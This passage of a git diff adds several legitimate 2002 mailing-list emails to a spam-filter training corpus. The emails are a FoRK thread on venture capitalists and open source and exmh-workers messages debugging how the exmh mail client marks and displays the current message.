(Postfix) with ESMTP id 48FE3440C8 + for ; Fri, 19 Jul 2002 17:13:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 22:13:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JL8VJ03956 for ; + Fri, 19 Jul 2002 22:08:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 843152940E4; Fri, 19 Jul 2002 13:56:49 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain + (dsl-208-151-246-47.dsl.easystreet.com [208.151.246.47]) by xent.com + (Postfix) with ESMTP id 89EEF294098 for ; Fri, + 19 Jul 2002 13:56:45 -0700 (PDT) +Received: (from karl@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g6JLPbY10174; Fri, 19 Jul 2002 14:25:37 -0700 +X-Authentication-Warning: localhost.localdomain: karl set sender to + kra@monkey.org using -f +To: FoRK@xent.com +Subject: Re: An Engineer's View of Venture Capitalists +References: +From: Karl Anderson +Organization: Ape Mgt. +Date: 19 Jul 2002 14:25:37 -0700 +In-Reply-To: "Adam L. Beberg"'s + message of + "Thu, 18 Jul 2002 22:28:54 -0700 (PDT)" +Message-Id: +User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.7 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +"Adam L. Beberg" writes: + +> > VCs don't care about the success of the venture or the jobs of those +> > involved in it, they aren't "funding innovation" or stimulating growth +> > or fueling the economy. +> +> Possibly replace "own" with "take from you ASAP with dilution". Their goal +> is to take what you have by any means nessecary and sell it to someone else +> for more then they paid within 7 years or less. That's what they do, nice +> and simple. Your based-on-GPL-thing gives them no way to do that, so you are +> irrelivant to the VC/investment world. + +Interestingly, it was the VC that convinced Zope Corp. to go opensource. + +-- +Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00684.87add8c5e89bb21bf9c39083a03a6eeb b/bayes/spamham/easy_ham_2/00684.87add8c5e89bb21bf9c39083a03a6eeb new file mode 100644 index 0000000..661f2b3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00684.87add8c5e89bb21bf9c39083a03a6eeb @@ -0,0 +1,60 @@ +From fork-admin@xent.com Sat Jul 20 01:21:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BA052440C8 + for ; Fri, 19 Jul 2002 20:21:02 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 01:21:02 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6K0GDJ19880 for ; + Sat, 20 Jul 2002 01:16:18 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A079A2940E3; Fri, 19 Jul 2002 17:05:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 41A39294098 for ; + Fri, 19 Jul 2002 17:05:06 -0700 (PDT) +Received: (qmail 10151 invoked by uid 1111); 20 Jul 2002 00:14:00 -0000 +Date: Fri, 19 Jul 2002 17:14:00 -0700 (PDT) +From: "Adam L. Beberg" +To: Karl Anderson +Cc: +Subject: Re: An Engineer's View of Venture Capitalists +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +On 19 Jul 2002, Karl Anderson wrote: + +> "Adam L. Beberg" writes: +> +> > Possibly replace "own" with "take from you ASAP with dilution". Their goal +> > is to take what you have by any means nessecary and sell it to someone else +> > for more then they paid within 7 years or less. That's what they do, nice +> > and simple. Your based-on-GPL-thing gives them no way to do that, so you are +> > irrelivant to the VC/investment world. +> +> Interestingly, it was the VC that convinced Zope Corp. to go opensource. + +But wasnt that before they realized that Open Source(TM) ment they couldnt +control it? There was a time when VC love was all over Open Source(TM) as a +revenue model. + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00685.57055c8d73f474ca70c15b955439e183 b/bayes/spamham/easy_ham_2/00685.57055c8d73f474ca70c15b955439e183 new file mode 100644 index 0000000..95be607 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00685.57055c8d73f474ca70c15b955439e183 @@ -0,0 +1,61 @@ +From fork-admin@xent.com Sat Jul 20 01:47:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 953B8440C8 + for ; Fri, 19 Jul 2002 20:47:51 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 01:47:51 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6K0j5J25704 for ; + Sat, 20 Jul 2002 01:45:06 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 064D92940E9; Fri, 19 Jul 2002 17:33:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain + (dsl-208-151-246-47.dsl.easystreet.com [208.151.246.47]) by xent.com + (Postfix) with ESMTP id 0F4B6294098 for ; Fri, + 19 Jul 2002 17:33:06 -0700 (PDT) +Received: (from karl@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g6K11pv15544; Fri, 19 Jul 2002 18:01:51 -0700 +X-Authentication-Warning: localhost.localdomain: karl set sender to + kra@monkey.org using -f +To: "Adam L. Beberg" +Cc: +Subject: Re: An Engineer's View of Venture Capitalists +References: +From: Karl Anderson +Organization: Ape Mgt. +Date: 19 Jul 2002 18:01:51 -0700 +In-Reply-To: "Adam L. Beberg"'s + message of + "Fri, 19 Jul 2002 17:14:00 -0700 (PDT)" +Message-Id: +User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.7 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +"Adam L. Beberg" writes: + +> > Interestingly, it was the VC that convinced Zope Corp. to go opensource. +> +> But wasnt that before they realized that Open Source(TM) ment they couldnt +> control it? + +If you're going to assume that they were stupid, why not assume that +they still are stupid, and never did realize it? + +-- +Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00686.e72932a083f77eaf366109752c89a60b b/bayes/spamham/easy_ham_2/00686.e72932a083f77eaf366109752c89a60b new file mode 100644 index 0000000..d4d2954 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00686.e72932a083f77eaf366109752c89a60b @@ -0,0 +1,156 @@ +From exmh-workers-admin@redhat.com Mon Jul 22 19:32:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A94AF440C9 + for ; Mon, 22 Jul 2002 14:32:26 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:32:26 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHgh406129 for + ; Mon, 22 Jul 2002 18:42:43 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id AF8EC3F994; Mon, 22 Jul 2002 + 13:41:50 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id E4C633F974 + for ; Mon, 22 Jul 2002 13:38:39 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6MHce529636 for exmh-workers@listman.redhat.com; Mon, 22 Jul 2002 + 13:38:40 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6MHceR29632 for + ; Mon, 22 Jul 2002 13:38:40 -0400 +Received: from austin-jump.vircio.com + (IDENT:1ioV+YTYp67mN2ypVR3Jslfy2DeYWI/0@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6MHR9s31590 + for ; Mon, 22 Jul 2002 13:27:10 -0400 +Received: (qmail 10014 invoked by uid 104); 22 Jul 2002 17:38:39 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4213. . Clean. Processed in 0.932843 + secs); 22/07/2002 12:38:38 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 22 Jul 2002 17:38:38 -0000 +Received: (qmail 3428 invoked from network); 22 Jul 2002 17:38:34 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?9ea/NpU8P1xSGq6W/ah5iLUzGXs75ZPw?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 22 Jul 2002 17:38:34 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Anders Eriksson +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: Another bug +In-Reply-To: <20020718202952.E11A5470D@tippex.localdomain> +References: <20020718202952.E11A5470D@tippex.localdomain> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_556486408P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027359513.3184.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 12:38:32 -0500 + +--==_Exmh_556486408P +Content-Type: text/plain; charset=us-ascii + +> From: Anders Eriksson +> Date: Thu, 18 Jul 2002 22:29:47 +0200 +> +> +> next report: +> +> Every once in a while (seems to be when i have left exmh for a while +> and new messages has arrived to the folder, but who can tell?), it +> picks a message and simply wont display it. The message window goes +> blank and I have to click ('n' doesn't work) on another message to +> get around it. The log shows: +> +> 22:20:48 {5395 5398-5399 5401-5435} +> 22:20:48 Updating address "szaka@sienet.hu". +> 22:20:48 Msg_Change {723890 microseconds per iteration} +> 22:20:59 Msg_Pick line=5388 +> 22:20:59 Mh_SequenceUpdate lists/l-k clear cur {} public +> 22:21:10 **************** +> 22:21:10 Mh_SequenceUpdate lists/l-k del unseen 5400 public +> 22:21:10 {5395 5398-5399 5401-5436} +> 22:21:10 Changing to lists/exmh ... +> 22:21:10 Scan_CacheUpdate {194812 microseconds per iteration} +> 22:21:10 Exmh_CheckPoint {197763 microseconds per iteration} +> +> +> +> and as far as i can tell there is a correlation between the 'clear' +> vs. 'del' argument to Mh_SequenceUpdate and the hangs. I have no clue +> what these arguments are but maybe someone has. + +I can tell you what the 'clear' and 'del' arguments mean: + +Mh_SequenceUpdate lists/l-k clear cur {} public + This means to clear the 'cur' sequence for lists/l-k + +Mh_SequenceUpdate lists/l-k del unseen 5400 public + This means to delete message 5400 from the 'unseen' sequence for lists/l-k + +Can you explain more what you were actually doing as this occurred? This +doesn't appear to be background processing. Is there significance to message +5400? Is it the one that isn't displaying? + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_556486408P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9PEMYK9b4h5R0IUIRAkgqAKCG/juGj81E+/jMVknXO5QjeevG3QCeIJ4H +kLuM98RHJCApLxh29vpP+lc= +=q1XW +-----END PGP SIGNATURE----- + +--==_Exmh_556486408P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00687.8b31d13e4d04a9e78a7e01b491f6d2f6 b/bayes/spamham/easy_ham_2/00687.8b31d13e4d04a9e78a7e01b491f6d2f6 new file mode 100644 index 0000000..5b76b37 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00687.8b31d13e4d04a9e78a7e01b491f6d2f6 @@ -0,0 +1,137 @@ +From exmh-workers-admin@redhat.com Mon Jul 22 19:48:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DAE9D440D6 + for ; Mon, 22 Jul 2002 14:48:14 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:48:14 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MIGt411887 for + ; Mon, 22 Jul 2002 19:16:55 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 5A8023F380; Mon, 22 Jul 2002 + 14:16:02 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 1D8E93F301 + for ; Mon, 22 Jul 2002 14:15:24 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6MIFO004770 for exmh-workers@listman.redhat.com; Mon, 22 Jul 2002 + 14:15:24 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6MIFOR04766 for + ; Mon, 22 Jul 2002 14:15:24 -0400 +Received: from tippex.localdomain (h189n1fls22o974.telia.com + [213.64.79.189]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g6MI3rs07283 for ; Mon, 22 Jul 2002 14:03:53 + -0400 +Received: by tippex.localdomain (Postfix, from userid 500) id 9D292470D; + Mon, 22 Jul 2002 20:15:16 +0200 (CEST) +Received: from tippex.localdomain (localhost [127.0.0.1]) by + tippex.localdomain (Postfix) with ESMTP id 88301470C; Mon, 22 Jul 2002 + 20:15:16 +0200 (CEST) +X-Mailer: exmh version 2.5_20020719 01/15/2001 with nmh-1.0.4 +To: Chris Garrigues +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: Another bug +In-Reply-To: Message from Chris Garrigues + of + "Mon, 22 Jul 2002 12:38:32 CDT." + <1027359513.3184.TMDA@deepeddy.vircio.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +From: Anders Eriksson +Message-Id: <20020722181516.9D292470D@tippex.localdomain> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by int-mx1.corp.spamassassin.taint.org + id g6MIFOR04766 +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 20:15:11 +0200 + + +Chris said: +> +> I can tell you what the 'clear' and 'del' arguments mean: +> +> Mh_SequenceUpdate lists/l-k clear cur {} public +> This means to clear the 'cur' sequence for lists/l-k +> +> Mh_SequenceUpdate lists/l-k del unseen 5400 public +> This means to delete message 5400 from the 'unseen' sequence for lists/l-k +> +> Can you explain more what you were actually doing as this occurred? This +> doesn't appear to be background processing. Is there significance to message +> 5400? Is it the one that isn't displaying? +> +> Chris + +After sending the report I started fiddling with the Ftoc_RescanLine +stuff and I havn't seen it since. I can't really tell if it was my +hacking that removed it, or if it was some transitional magic +happening since this was the first invocation of that version of +exmh. I've backed out my stuff now, and'll let you know if it happens +again. + + +On another thing with the Ftoc_RescanLine stuff. This routine is +called at times still unclar to me. An inspection of the routine +suggests that it is used in the transition of a message to/form +"current" state to re-paint the ftoc line. However, checking the +msg.tcl code (MSgChange) we find: + + if {$msgid != {}} { + # Allow null msgid from Msg_ShowWhat, which supplies line +instead + if {$msgid < 0} return + } else { + # line null too, try using first in folder + if {[string length $line] == 0} { set line 1 } + set msgid [Ftoc_MsgNumber [Ftoc_FindMsg $msgid $line]] + } + Ftoc_ClearCurrent + Mh_SetCur $exmh(folder) $msgid + Ftoc_ShowSequences $exmh(folder) + +The Ftoc_ClearCurrent calls Ftoc_RescanLIne to clear the '+' sign +_before_ the on-disk transition is made. I hacked this stuff and more +or less changed the order. It works, but fails on some folder changes. + +My feeling of this is that we really do not want to have a +Ftoc_ClearCurrent, but rather just a RescanLine and the caller had +better know the line or msgid. That routine shoud just put in the '+' +if the line/msg in question happened to be the cur msg. Thoughts? + + +/Anders + + + + + + + + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00688.f08034280cb30919f77f093881d60b26 b/bayes/spamham/easy_ham_2/00688.f08034280cb30919f77f093881d60b26 new file mode 100644 index 0000000..db8a7c8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00688.f08034280cb30919f77f093881d60b26 @@ -0,0 +1,129 @@ +From exmh-workers-admin@redhat.com Mon Jul 22 20:05:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BA883440C9 + for ; Mon, 22 Jul 2002 15:05:21 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 20:05:21 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MIcJ415049 for + ; Mon, 22 Jul 2002 19:38:19 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 9F9FA3EC96; Mon, 22 Jul 2002 + 14:34:01 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 8E3703F410 + for ; Mon, 22 Jul 2002 14:33:19 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6MIXKC08038 for exmh-workers@listman.redhat.com; Mon, 22 Jul 2002 + 14:33:20 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6MIXJR08034 for + ; Mon, 22 Jul 2002 14:33:19 -0400 +Received: from austin-jump.vircio.com + (IDENT:KvP6YiQ/Oh/wAWnykuoPcnfNd+qctOI4@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6MILns10702 + for ; Mon, 22 Jul 2002 14:21:49 -0400 +Received: (qmail 13688 invoked by uid 104); 22 Jul 2002 18:33:19 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4213. . Clean. Processed in 0.39888 + secs); 22/07/2002 13:33:18 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 22 Jul 2002 18:33:18 -0000 +Received: (qmail 8212 invoked from network); 22 Jul 2002 18:33:15 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?PBJjZb+9Gz4L5NpPCq/4eDUuKlhIumss?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 22 Jul 2002 18:33:15 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Anders Eriksson +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: Another bug +In-Reply-To: <20020722181516.9D292470D@tippex.localdomain> +References: <20020722181516.9D292470D@tippex.localdomain> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_692927479P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027362794.8011.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 13:33:13 -0500 + +--==_Exmh_692927479P +Content-Type: text/plain; charset=us-ascii + +> From: Anders Eriksson +> Date: Mon, 22 Jul 2002 20:15:11 +0200 +> +> My feeling of this is that we really do not want to have a +> Ftoc_ClearCurrent, but rather just a RescanLine and the caller had +> better know the line or msgid. That routine shoud just put in the '+' +> if the line/msg in question happened to be the cur msg. Thoughts? + +Intuitively, that sounds right to me. It does also call "tag remove", so +you'll have to make sure that gets set correctly as well. + +I think any changes that make it behave more intuitively are a good thing even +if they mean we have something else to fix. Of course, that attitude is why +I've been fixing exmh bugs for 3 weeks. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_692927479P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9PE/pK9b4h5R0IUIRAiVOAJ0cuYMd0PbazzLvJrw1Z08LLnX1EgCgjeF5 +Bf2L4R4Z71GVGMxg/RhE43E= +=vE1b +-----END PGP SIGNATURE----- + +--==_Exmh_692927479P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00689.ae6cd2a1fe148629b6d4e11fba10cd8c b/bayes/spamham/easy_ham_2/00689.ae6cd2a1fe148629b6d4e11fba10cd8c new file mode 100644 index 0000000..518b10e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00689.ae6cd2a1fe148629b6d4e11fba10cd8c @@ -0,0 +1,146 @@ +From exmh-workers-admin@redhat.com Mon Jul 22 20:06:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1834B440C8 + for ; Mon, 22 Jul 2002 15:06:04 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 20:06:04 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MIvV417074 for + ; Mon, 22 Jul 2002 19:57:32 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 316453F2DC; Mon, 22 Jul 2002 + 14:56:28 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 6AC613EAC0 + for ; Mon, 22 Jul 2002 14:55:31 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6MItV313629 for exmh-workers@listman.redhat.com; Mon, 22 Jul 2002 + 14:55:31 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6MItVR13625 for + ; Mon, 22 Jul 2002 14:55:31 -0400 +Received: from austin-jump.vircio.com + (IDENT:6rqRFid/zuX7QFe0/i8AmXxLspjmM84u@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6MIi0s16294 + for ; Mon, 22 Jul 2002 14:44:01 -0400 +Received: (qmail 15021 invoked by uid 104); 22 Jul 2002 18:55:30 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4213. . Clean. Processed in 0.324356 + secs); 22/07/2002 13:55:30 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 22 Jul 2002 18:55:30 -0000 +Received: (qmail 22843 invoked from network); 22 Jul 2002 18:55:25 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?WNn+kWdMvop03Bwu+i91Rp4AwHi2tYbD?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 22 Jul 2002 18:55:25 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Brent Welch +Cc: Hal DeVore , exmh-workers@spamassassin.taint.org +Subject: Re: folders moving around in the unseen window +In-Reply-To: <200207181513.LAA08535@blackcomb.panasas.com> +References: <1026503843.3805.TMDA@deepeddy.vircio.com> + <15074.1026506046@dimebox> <200207181513.LAA08535@blackcomb.panasas.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_724731589P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027364125.22596.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 13:55:23 -0500 + +--==_Exmh_724731589P +Content-Type: text/plain; charset=us-ascii + +> From: Brent Welch +> Date: Thu, 18 Jul 2002 08:13:53 -0700 +> +> Unfortunately, an unattributed patch may or may not be a contributed patch +> as I'm not always good about recording the source of a patch. I suspect +> this patch may have been contributed from someone that uses the +> auto-pack or auto-sort features, which I don't use. This change should be +> tested against those features. +> +> This whole folder scanning area is super delicate, as Chris is discovering. +> I wish I had a little more time right now to wrap my head around the issues +> . +> It is good that another pair of 